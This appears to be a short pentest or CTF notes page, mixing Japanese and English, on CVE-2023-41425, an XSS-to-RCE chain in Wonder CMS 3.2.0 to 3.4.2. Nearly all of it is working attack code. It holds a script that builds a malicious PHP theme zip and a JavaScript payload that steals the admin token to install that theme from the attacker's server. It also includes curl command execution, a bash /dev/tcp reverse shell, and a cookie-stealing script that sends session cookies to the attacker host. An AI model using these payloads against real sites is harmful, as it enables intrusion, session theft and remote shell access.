Wonder CMS RCE

| | 説明 : XSS から RCE へ, Wonder CMS 3.2.0 <= 3.4.2 | ソース | - https://github.com/prodigiousMind/CVE-2023-41425/tree/main | - https://nvd.nist.gov/vuln/detail/CVE-2023-41425 |

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RCE

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.. code-block:: bash

Setting vars

RHOST="http://host.com:80" LHOST="10.10.14.152" LPORT="4444" LPORTWEB="80"

Moving to a tmp dir

cd $(mktemp -d)

Creating our evil theme zip file

mkdir -p evil cat <<'EOF'>evil/evil.php

EOF

zip -r evil.zip evil/

JS payload that will install the new theme

cat <xssrce.js var xhr=new XMLHttpRequest(); xhr.open("GET", "${RHOST}/?installModule=http://${LHOST}:${LPORTWEB}/evil.zip&directoryName=whatever&type=themes&token=" + document.querySelectorAll('[name="token"]')[0].value, true); xhr.send(); EOF

Print XSS url

echo -e "\n# XSS RCE" cat <<EOF ${RHOST}/index.php?page=loginURL?"><script+src="http://${LHOST}:${LPORTWEB}/xssrce.js"><form+action=" EOF

Starting a new web server to serve payloads

sudo python3 -m http.server $LPORTWEB &

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| 管理者に RCE XSS を送信すると、以下の HTTP 呼び出しが得られます。

.. code-block::

10.129.252.14 - - [11/Aug/2024 18:42:26] "GET /xssrce.js HTTP/1.1" 304 - 10.129.252.14 - - [11/Aug/2024 18:42:31] "GET /evil.zip HTTP/1.1" 200 - 10.129.252.14 - - [11/Aug/2024 18:42:31] "GET /evil.zip HTTP/1.1" 200 - 10.129.252.14 - - [11/Aug/2024 18:42:31] "GET /evil.zip HTTP/1.1" 200 - 10.129.252.14 - - [11/Aug/2024 18:42:32] "GET /evil.zip HTTP/1.1" 200 -

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| これで PHP ペイロードを利用できるようになりました。

.. code-block:: bash

id

CMD="id" curl --path-as-is "${RHOST}/themes/evil/evil.php?0=$(echo -n "$CMD"| python3 -c "import urllib.parse,sys; print(urllib.parse.quote_plus(sys.stdin.read()))")"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Reverse shell, (don't forget to listen first: nc -nvlp 4444)

CMD="bash -c 'bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1'" curl --path-as-is "${RHOST}/themes/evil/evil.php?0=$(echo -n "$CMD"| python3 -c "import urllib.parse,sys; print(urllib.parse.quote_plus(sys.stdin.read()))")"

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Cookies

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| クッキー（したがって PHP セッション）も盗むことができます。

.. code-block:: bash

cat <xsscookie.js var xhr=new XMLHttpRequest(); xhr.open("GET", "http://${LHOST}:${LPORTWEB}/?"+document.cookie, true); xhr.send(); EOF

echo -e "\n# XSS Retrieve PHP session" cat <<EOF ${RHOST}/index.php?page=loginURL?"><script+src="http://${LHOST}:${LPORTWEB}/xsscookie.js"><form+action=" EOF

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